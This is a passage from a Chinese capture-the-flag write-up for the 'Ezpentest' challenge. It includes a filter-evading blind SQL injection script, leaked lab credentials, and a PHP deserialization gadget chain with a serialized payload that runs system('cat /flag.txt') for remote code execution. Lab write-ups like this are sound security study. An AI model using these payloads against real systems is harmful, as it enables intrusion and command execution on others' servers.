反序列化。
php exp.py
Ezpentest
1'^1^'1
登录返回200,成功闭合。fuzz了一波,大致知道payload中不能包含union
和regexp
,payload中有这两个关键字直接返回200的Error。其次是对于某些特殊字符的过滤,不能包含空格和括号和注释符,没有括号就很难注了(后面注的时候发现还有逗号分号啥的)。
这种场景下注表名列名啥的就别想了,因为在登录框所以盲猜列名为username
和password
,加上反引号打过去返回200,说明是对的。然后选择基于报错的布尔盲注,选用case when
进行条件判断,科学计数法产生溢出造成报错,然后用like模糊查询进行比较。最后写脚本进行注入:
import requests
url = "http://eci-2zeiotg3hwi20aa70dvd.cloudeci1.ichunqiu.com/login.php"
table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@$_"
s = ""
for i in range(300):
for j in range(len(table)):
data = {
"password": "admin",
"username": f"1'^CASEpassword
'{s + table[j]}%'COLLATE'utf8mb4_bin'WHEN'1'THEN'0'ELSE''+100E291+1.7976931348623158E308+''end^'"
}
res = requests.post(url, data=data)
if res.status_code == 200:
s += table[j]
print(s)
break
注入过程中有两个小坑,一个是用户名中藏了特殊字符,有的被过滤了,到那里的时候脚本就会觉得注入成功了如何就会一直跑,而且特殊字符里还有%,所以注完得手动判断一下是否和username相等。其次就是大小写问题,用COLLATE'utf8mb4_bin'
使模糊查询的时候区分大小写。所以最后得到用户名和密码:
awk785969awlfjnlkjlii!@$%!! PAssw40d_Y0u3_Never_Konwn!@!!
登录之后可以得到一份经过PHPJiaMi混淆后的源码,因为里面有很多不可见字符,如果用浏览器保存或者直接复制会有一些奇怪的编码问题,后续会解码失败
import gzip from pwn import * p = remote("eci-2zeiotg3hwi20aa70dvd.cloudeci1.ichunqiu.com",80) msg = """POST /login.php HTTP/1.1 Host: eci-2zeiotg3hwi20aa70dvd.cloudeci1.ichunqiu.com Content-Length: 75 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://eci-2zeh4pj6hmpfu3u3p3h8.cloudeci1.ichunqiu.com Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://eci-2zeh4pj6hmpfu3u3p3h8.cloudeci1.ichunqiu.com/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: __jsluid_h=54e622c193543744bb98c4f24fb7c5f4; PHPSESSID=1mgh5iu05gs437oajkv2qf9ob6 Connection: close username=awk785969awlfjnlkjlii!@$%!!&password=PAssw40d_Y0u3_Never_Konwn!@!!""" p.send(msg.encode()) byte = p.recv() start = byte.find(b"\r\n\r\n")+4 byte = byte[start:] with open("test.php","wb") as f: f.write(gzip.decompress(byte)) f.close()
然后拿到的源码大概长这样:
我把它传上来了:
在github上可以找到一个开源的工具可以对其进行解码:
https://github.com/PikuYoake/phpjiami_decode
然后得到真正的源码:
<?php session_start(); if(!isset($_SESSION['login'])){ die(); } function Al($classname){ include $classname.".php"; } if(isset($_REQUEST['a'])){ $c = $_REQUEST['a']; $o = unserialize($c); if($o === false) { die("Error Format"); }else{ spl_autoload_register('Al'); $o = unserialize($c); $raw = serialize($o); if(preg_match("/Some/i",$raw)){ throw new Error("Error"); } $o = unserialize($raw); var_dump($o); } }else { echo file_get_contents("SomeClass.php"); }
是个反序列化题,恶意类都在SomeClass.php
中得想办法通过AI函数把他包含进来,而AI函数注册了autoload,只要反序列化一个SomeClass
类就可以将其包含进来,之后再进行一次反序列化就可以反序列化SomeClass.php
中的类。不过在这之前还有一段$raw=serialize(unserialize($c))
,之后经过正则匹配,如果有Some存在就抛出异常。
在这里通过反序列化__PHP_Incomplete_Class
类可以绕过它的正则匹配:
a:1:{i:1;O:22:"__PHP_Incomplete_Class":1:{s:2:"aa";a:0:{}}}}
打过去发现能成。
然后从SomeClass.php
中挖掘反序列化利用链:
<?php class A { public $a; public $b; public function see() { $b = $this->b; $checker = new ReflectionClass(get_class($b)); if(basename($checker->getFileName()) != 'SomeClass.php'){ if(isset($b->a)&&isset($b->b)){ ($b->a)($b->b.""); } } } } class B { public $a; public $b; public function __toString() { $this->a->see(); return "1"; } } class C { public $a; public $b; public function __toString() { $this->a->read(); return "lock lock read!"; } } class D { public $a; public $b; public function read() { $this->b->learn(); } } class E { public $a; public $b; public function __invoke() { $this->a = $this->b." Powered by PHP"; } public function __destruct(){ //eval($this->a); ??? 吓得我赶紧把后门注释了 //echo "???"; die($this->a); } } class F { public $a; public $b; public function __call($t1,$t2) { $s1 = $this->b; $s1(); } } class SomeClass { } $someclass = new SomeClass(); $e = new E(); $b = new B(); $a = new A(); $f = new ArrayObject(); $e->a = $b; $b->a=$a; $a->b = $f; $f->a = "system"; $f->b = "id"; $res = array($someclass,$e); echo serialize($res); ?>
接着把拿到的payload拿去替换前面的payload中的a:0:{}
就能成功rce:
a:1:{i:1;O:22:"__PHP_Incomplete_Class":1:{s:2:"aa";a:2:{i:0;O:9:"SomeClass":0:{}i:1;O:1:"E":2:{s:1:"a";O:1:"B":2:{s:1:"a";O:1:"A":2:{s:1:"a";N;s:1:"b";O:11:"ArrayObject":3:{i:0;i:0;i:1;a:0:{}i:2;a:2:{s:1:"a";s:6:"system";s:1:"b";s:13:"cat /flag.txt";}}}s:1:"b";N;}s:1:"b";N;}}}}}